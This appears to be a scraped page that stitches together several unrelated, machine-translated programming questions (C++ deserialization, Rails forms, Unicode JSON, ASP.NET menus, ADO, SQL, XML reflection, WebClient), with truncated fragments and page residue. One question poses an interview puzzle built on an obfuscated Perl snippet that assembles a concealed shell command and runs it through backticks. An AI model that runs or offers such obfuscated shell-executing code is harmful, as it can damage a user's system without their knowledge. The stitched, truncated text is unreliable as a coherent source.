如何从序列化数据中"序列化"派生类?或许我应该说,有没有更好的方法将数据"反序列化"为派生类?
例如,假设你有一个纯虚基类(B),它由其他三个类X,Y和Z继承.而且,我们有一个方法serialize(),它将翻译X:B,Y:B和Z:B成序列化数据.
通过这种方式,可以将套接字,命名管道等连接到远程进程.
我遇到的问题是,我们如何从序列化数据中创建一个合适的对象?
我能想到的唯一解决方案是在序列化数据中包含一个标识符,用于指示最终的派生对象类型.接收者首先从序列化数据中解析派生类型字段,然后使用switch语句(或类似的某种逻辑)来调用适当的构造函数.
例如:
B deserialize( serial_data )
{
parse the derived type from the serial_data
switch (derived type)
case X
return X(serial_data)
case Y
return Y(serial_data)
case Z
return Z(serial_data)
}
Run Code Online (Sandbox Code Playgroud)
因此,在学习派生对象类型之后,我们调用适当的派生类型构造函数.
然而,这感觉很尴尬和麻烦.我希望有一种更有说服力的方式来做到这一点.在那儿?
我有时间表模型,运行模型和运动员模型.
class Timesheet < ActiveRecord::Base
has_many :runs, :dependent => :destroy
accepts_nested_attributes_for :runs
end
class Run < ActiveRecord::Base
belongs_to :timesheet
belongs_to :athlete
end
class Athlete < ActiveRecord::Base
has_many :runs
end
Run Code Online (Sandbox Code Playgroud)
运行嵌套在Timesheets下,我想在创建Timesheet的同一表单上创建一些运行,如此railscast中所示
class TimesheetsController < ApplicationController
def new
@timesheet = Timesheet.new
3.times { @timesheet.runs.build }
end
Run Code Online (Sandbox Code Playgroud)
在我的时间表表单上,我遇到了我的collection_select问题(运动员名称的下拉列表填充了运行表中的:athlete_id字段).
<% form_for(@timesheet) do |f| %>
<%= f.error_messages %>
<%= f.label "Date" %>
<%= f.text_field :date %>
<% f.fields_for :runs do |builder| %>
<%= collection_select(:run, :athlete_id, Athlete.all(:order => 'name'), :id, :name, { :prompt => …Run Code Online (Sandbox Code Playgroud) 我有一个刮刀正在从别处收集一些我无法控制的数据.源数据执行各种有趣的Unicode字符,但它将它们转换为非常无用的格式,所以
\u00e4
Run Code Online (Sandbox Code Playgroud)
对于一个小的'a'与变音符号(没有我认为应该在那里的双引号)*.当然这会在我的HTML中呈现为纯文本.
是否有任何现实的方法将unicode源转换为适当的字符,不涉及我手动处理每个字符串序列并在刮擦期间替换它们?
*这是它吐出的json样本:
({"content":{"pagelet_tab_content":"<div class=\"post_user\">Latest post by <span>D\u00e4vid<\/span><\/div>\n})
Run Code Online (Sandbox Code Playgroud) 现在我计划在32位,64位,Windows XP Home,Windows XP Pro,Windows Vista Home Basic,Windows Vista Ultimate,Windows 7 Home Basic和Windows 7 Ultimate上进行测试......所有这些都包含最新的服务包.
但是,现在我想知道是否值得对AMD和英特尔进行上述所有列出的场景测试,还是浪费时间?
注意:这是日常普通用户的安全应用程序.
我是ASP.NET MVC的新手,正在使用该框架的1.0版本.我有一个site.master页面,其中包含以下硬编码菜单
<div id="menucontainer">
<ul id="menu">
<li><%= Html.ActionLink("Home", "Index", "Home")%></li>
<li><%= Html.ActionLink("Drivers", "List/?category=Drivers", "Product")%></li>
<li><%= Html.ActionLink("Irons", "List/?category=Irons", "Product") %></li>
<li><%= Html.ActionLink("Wedges", "List/?category=Wedges", "Product") %></li>
<li><%= Html.ActionLink("Putters", "List/?category=Putters", "Product") %></li>
</ul>
</div>
Run Code Online (Sandbox Code Playgroud)
我想在用户登录时在菜单上显示一个额外的项目.像"查看我的房源"之类的东西.我以肮脏的hacky方式做这件事没问题,所以我试过了
<% if (User.Identity.IsAuthenticated) ...
Run Code Online (Sandbox Code Playgroud)
但User在这种情况下无效.我的问题是如何仅在用户登录时显示额外的菜单项?
我有一个更新表中值的 SQL Server 2008 存储过程。我想让存储过程返回一个整数值,指示更新成功(返回 0)或不成功(返回错误号)。通过 ADO 和 VBA 实现这一目标的最佳方法是什么?这是我的一些执行更新的简化形式的代码......我只是不确定如何取回存储过程的返回值
Public Function DoUpdate(employeeID as integer, firstName as string, lastname as string) as integer
Dim cnn As ADODB.Connection
Dim cmd As ADODB.Command
Dim activeConnectionString As String
activeConnectionString = GetActiveConnectionString()
Set cnn = New ADODB.Connection
cnn.ConnectionString = activeConnectionString
cnn.CursorLocation = adUseClient
cnn.Open
Set cmd = New ADODB.Command
cmd.ActiveConnection = cnn
cmd.CommandType = adCmdStoredProc
cmd.CommandText = "uspUpdateEmployeeName"
cmd.NamedParameters = True
cmd.Parameters("@EmployeeID").Value = employeeID
cmd.Parameters("@FirstName").Value = firstName
cmd.Parameters("@LastName").Value = lastName
cmd.Execute
'Unsure of how …Run Code Online (Sandbox Code Playgroud) 我想知道是否有办法只在表中没有包含该记录的情况下将记录插入表中?
是否有查询会执行此操作,还是需要存储过程?
我在之前的一次采访中得到了这个问题而无法做到,任何想法?
这是做什么的:
`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$",$;,$^,$#,$~,$*,$:,@%)=(
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$"),$=++;$.++;$.++;
$_++;$_++;($_,$\,$,)=($~.$"."$;$/$%[$?]$_$\$,$:$%[$?]",$"&$~,$#,);$,++
;$,++;$^|=$";`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`
Run Code Online (Sandbox Code Playgroud)如果你想解决问题,这里有一个很大的问题:D
首先,它不是关于序列化,好吗?
好吧,我的情况......我正在编写一个函数,我将作为参数传递给Xml(XmlDocument)和一个对象(Object)作为参考.它将返回一个填充了Xml(XmlDocument)值的对象(被引用的对象).
例如:
我有一个Xml像:
<user>
<id>1</id>
<name>Daniel</name>
</user>
Run Code Online (Sandbox Code Playgroud)
我也有我的功能
public Object transformXmlToObject (XmlDocument xml, Object ref)
{
// Scroll each parameters in Xml and fill the object(ref) using reflection.
return ref;
}
Run Code Online (Sandbox Code Playgroud)
我该如何使用它?
我会用这样的:
[WebMethod]
public XmlDocument RecebeLoteRPS(XmlDocument xml)
{
// class user receive the object converted from the function
User user = new User();
user = transformXmlToObject(xml, user);
// object filled
}
Run Code Online (Sandbox Code Playgroud)
我需要帮助的人.
最好的问候,丹
我将假设答案是否定的....有没有办法使用WebClient发送HEAD方法并将标题作为字符串或类似的东西返回?